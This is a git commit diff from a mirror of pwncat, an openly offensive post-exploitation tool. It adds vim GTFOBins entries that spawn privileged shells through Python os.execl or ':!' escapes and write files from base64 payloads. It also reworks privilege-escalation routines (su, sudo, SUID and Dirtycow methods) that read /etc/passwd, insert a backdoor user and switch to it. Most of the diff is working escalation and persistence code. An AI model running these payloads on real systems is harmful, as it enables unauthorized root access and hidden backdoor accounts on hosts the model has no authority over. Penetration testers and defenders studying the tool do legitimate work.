mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Added vim as a GTFOBin. Testing resolved a clusterfuck
This commit is contained in:
parent
2a4ab160d3
commit
983f37e6d6
@ -7,7 +7,7 @@
|
||||
"name": "cp",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF ${lfile}; {unlink} $TF"
|
||||
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF {lfile}; {unlink} $TF"
|
||||
}
|
||||
},
|
||||
{
|
||||
@ -67,7 +67,7 @@
|
||||
"read_file": "{path} '//' {lfile}",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
||||
}
|
||||
},
|
||||
{
|
||||
@ -141,16 +141,28 @@
|
||||
"command": "{path} -p -c {command}"
|
||||
},
|
||||
{
|
||||
"name": "vim",
|
||||
"name": "vim.basic",
|
||||
"shell": {
|
||||
"script": "{command}",
|
||||
"suid": ["-p"]
|
||||
|
||||
"need" : ["-e", "+:py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-pc\", \"{reset}; exec {shell} -p\")", "+q!"]
|
||||
}
|
||||
},
|
||||
"read_file": "{path} -p -c \"cat {lfile}\"",
|
||||
{
|
||||
"name": "vim.basic",
|
||||
"shell": {
|
||||
"need" : ["-e", "+:py import os; os.execl(\"{shell}\", \"{shell}\", \"-c\", \"{reset}; exec {shell}\")", "+q!"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "vim.basic",
|
||||
"shell": {
|
||||
"need" : ["-e", "+:!{shell}", "+q!"]
|
||||
},
|
||||
"read_file": "{path} {lfile} -es '+%print' '+:q!' /dev/stdin",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
|
||||
"payload": "echo {data} | base64 -d | {path} -es '+%print' '+:wq! {lfile}' /dev/stdin"
|
||||
},
|
||||
"command": "{path} -p -c {command}"
|
||||
"command": "{path} -c ':!{command}'"
|
||||
}
|
||||
]
|
||||
|
@ -65,10 +65,13 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
obj = b
|
||||
|
||||
# Receive the data
|
||||
while True:
|
||||
try:
|
||||
n = self.pty.client.recv_into(b)
|
||||
except BlockingIOError:
|
||||
return 0
|
||||
break
|
||||
except (BlockingIOError, socket.error):
|
||||
pass
|
||||
|
||||
obj = bytes(b)
|
||||
|
||||
# Check for EOF
|
||||
|
@ -59,8 +59,13 @@ class Binary:
|
||||
except KeyError as exc:
|
||||
# The keyerror has the name in quotes for some reason
|
||||
key = shlex.split(str(exc))[0]
|
||||
|
||||
quote = True
|
||||
if key.startswith("unquote_"):
|
||||
key = key.split("unquote_")[1]
|
||||
quote = False
|
||||
# Find the remote binary that matches
|
||||
value = self.which(key, quote=True)
|
||||
value = self.which(key, quote=quote)
|
||||
# Whoops! No dependancy
|
||||
if value is None:
|
||||
raise MissingBinary(key)
|
||||
|
@ -1,6 +1,8 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Type, List, Tuple
|
||||
import crypt
|
||||
from time import sleep
|
||||
import socket
|
||||
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
|
||||
from pwncat.privesc.setuid import SetuidMethod
|
||||
@ -14,8 +16,8 @@ from pwncat import util
|
||||
|
||||
# privesc_methods = [SetuidMethod, SuMethod]
|
||||
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
|
||||
privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
|
||||
# privesc_methods = [ScreenMethod]
|
||||
# privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
|
||||
privesc_methods = [SuMethod, SetuidMethod]
|
||||
|
||||
|
||||
class Finder:
|
||||
@ -124,6 +126,8 @@ class Finder:
|
||||
raise PrivescError("/etc/passwd update failed!")
|
||||
|
||||
self.pty.process(f"su {self.backdoor_user_name}", delim=False)
|
||||
self.pty.flush_output()
|
||||
|
||||
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
|
||||
self.pty.run("echo")
|
||||
|
||||
@ -281,18 +285,27 @@ class Finder:
|
||||
try:
|
||||
# Attempt our basic, known technique
|
||||
exit_script = technique.method.execute(technique)
|
||||
self.pty.flush_output()
|
||||
|
||||
# Reset the terminal to ensure we are stable
|
||||
self.pty.reset()
|
||||
|
||||
# Check that we actually succeeded
|
||||
if self.pty.whoami() == technique.user:
|
||||
current = self.pty.whoami()
|
||||
|
||||
if current == technique.user or (
|
||||
technique.user == self.backdoor_user_name and current == "root"
|
||||
):
|
||||
return exit_script
|
||||
|
||||
# Check if we ended up in a sub-shell without escalating
|
||||
if self.pty.getenv("SHLVL") != shlvl:
|
||||
# Get out of this subshell. We don't need it
|
||||
self.pty.process(exit_script, delim=False)
|
||||
|
||||
# Clean up whatever mess was left over
|
||||
self.pty.flush_output()
|
||||
|
||||
self.pty.reset()
|
||||
|
||||
# The privesc didn't work, but didn't throw an exception.
|
||||
@ -313,7 +326,6 @@ class Finder:
|
||||
# Read the current content of /etc/passwd
|
||||
reader = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
|
||||
if reader is None:
|
||||
print("\nNo reader found")
|
||||
raise PrivescError("no file reader found")
|
||||
|
||||
payload = reader.read_file("/etc/passwd")
|
||||
@ -352,7 +364,10 @@ class Finder:
|
||||
self.backdoor_user = self.pty.users[user]
|
||||
|
||||
# Switch to the new user
|
||||
self.pty.process(f"su {user}", delim=False)
|
||||
# self.pty.process(f"su {user}", delim=False)
|
||||
self.pty.process(f"su {user}", delim=True)
|
||||
self.pty.flush_output()
|
||||
|
||||
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
|
||||
self.pty.run("echo")
|
||||
|
||||
|
@ -111,10 +111,7 @@ class SuMethod(Method):
|
||||
|
||||
# Send the su command, and check if it succeeds
|
||||
self.pty.run(f'su {technique.user} -c "echo good"', wait=False)
|
||||
|
||||
# Read the echo
|
||||
if self.pty.has_echo:
|
||||
self.pty.recvuntil("\n")
|
||||
self.pty.flush_output()
|
||||
|
||||
# Send the password
|
||||
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
|
||||
@ -129,18 +126,10 @@ class SuMethod(Method):
|
||||
raise PrivescError(f"{technique.user}: invalid password")
|
||||
|
||||
self.pty.run(f"su {technique.user}", wait=False)
|
||||
self.pty.flush_output()
|
||||
|
||||
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
|
||||
|
||||
user = self.pty.whoami()
|
||||
|
||||
if (
|
||||
technique.user == self.pty.privesc.backdoor_user_name and user != "root"
|
||||
) or (
|
||||
technique.user != self.pty.privesc.backdoor_user_name
|
||||
and user != technique.user
|
||||
):
|
||||
raise PrivescError(f"{technique} failed (still {self.pty.whoami()})")
|
||||
|
||||
return "exit"
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
|
@ -92,4 +92,5 @@ class DirtycowMethod(Method):
|
||||
# Become the new user!
|
||||
self.pty.process(f"su {self.pty.privesc.backdoor_user_name}", delim=False)
|
||||
self.pty.client.send(self.pty.privesc.backdoor_password.encode("utf-8") + b"\n")
|
||||
self.pty.run("echo")
|
||||
|
||||
return "exit"
|
||||
|
@ -87,32 +87,13 @@ class SetuidMethod(Method):
|
||||
binary = technique.ident
|
||||
enter, input, exit = binary.shell(self.pty.shell, suid=True)
|
||||
|
||||
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
||||
|
||||
# Run the start commands
|
||||
self.pty.run(enter + "\n", wait=False)
|
||||
# self.pty.process(enter, delim=False)
|
||||
self.pty.process(enter, delim=False)
|
||||
|
||||
# Send required input
|
||||
self.pty.client.send(input.encode("utf-8"))
|
||||
|
||||
# Wait for result
|
||||
self.pty.run("echo")
|
||||
|
||||
# sleep(0.1)
|
||||
user = self.pty.run("whoami").strip().decode("utf-8")
|
||||
if user == technique.user:
|
||||
return exit
|
||||
else:
|
||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
after_shell_level = (
|
||||
int(after_shell_level) if after_shell_level != b"" else 0
|
||||
)
|
||||
if after_shell_level > before_shell_level:
|
||||
self.pty.run(exit, wait=False) # here be dragons
|
||||
|
||||
raise PrivescError(f"escalation failed for {technique}")
|
||||
return exit # remember how to close out of this privesc
|
||||
|
||||
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
||||
binary = technique.ident
|
||||
|
@ -216,9 +216,6 @@ class SudoMethod(Method):
|
||||
|
||||
binary, sudo_spec, password_required = technique.ident
|
||||
|
||||
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
||||
|
||||
shell_payload, input, exit = binary.sudo_shell(
|
||||
technique.user, sudo_spec, self.pty.shell
|
||||
)
|
||||
@ -232,24 +229,8 @@ class SudoMethod(Method):
|
||||
# Provide stdin if needed
|
||||
self.pty.client.send(input.encode("utf-8"))
|
||||
|
||||
# Give it a bit to let the shell start. We considered a sleep here, but
|
||||
# that was not consistent. This will utilizes the logic in `run` for
|
||||
# waiting for the output of the command (`echo`), which waits the
|
||||
# appropriate amount of time.
|
||||
self.pty.run("echo")
|
||||
|
||||
user = self.pty.whoami()
|
||||
if user == technique.user:
|
||||
return exit
|
||||
|
||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
after_shell_level = int(after_shell_level) if after_shell_level != b"" else 0
|
||||
|
||||
if after_shell_level > before_shell_level:
|
||||
self.pty.run(exit, wait=False) # here be dragons
|
||||
|
||||
raise PrivescError("failed to privesc")
|
||||
|
||||
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
||||
|
||||
binary, sudo_spec, password_required = technique.ident
|
||||
|
@ -520,7 +520,7 @@ class PtyHandler:
|
||||
# Cache the value
|
||||
self.known_binaries[name] = path
|
||||
|
||||
if quote:
|
||||
if quote and path is not None:
|
||||
path = shlex.quote(path)
|
||||
|
||||
return path
|
||||
@ -976,10 +976,6 @@ class PtyHandler:
|
||||
"""
|
||||
|
||||
response = self.process(cmd, delim=wait)
|
||||
if callable(input):
|
||||
input()
|
||||
else:
|
||||
self.client.send(input)
|
||||
|
||||
if wait:
|
||||
|
||||
@ -993,6 +989,11 @@ class PtyHandler:
|
||||
else:
|
||||
self.recvuntil(b"\n")
|
||||
|
||||
if callable(input):
|
||||
input()
|
||||
else:
|
||||
self.client.send(input)
|
||||
|
||||
return response
|
||||
|
||||
def process(self, cmd, delim=True) -> bytes:
|
||||
@ -1109,6 +1110,13 @@ class PtyHandler:
|
||||
self.run(f"export PS1='{self.remote_prefix} {self.remote_prompt}'")
|
||||
self.run(f"tput rmam")
|
||||
|
||||
def flush_output(self):
|
||||
while True:
|
||||
try:
|
||||
self.client.recv(4096)
|
||||
except socket.error:
|
||||
break
|
||||
|
||||
def reset(self):
|
||||
self.run("reset", wait=False)
|
||||
self.has_cr = True
|
||||
|
Loading…
Reference in New Issue
Block a user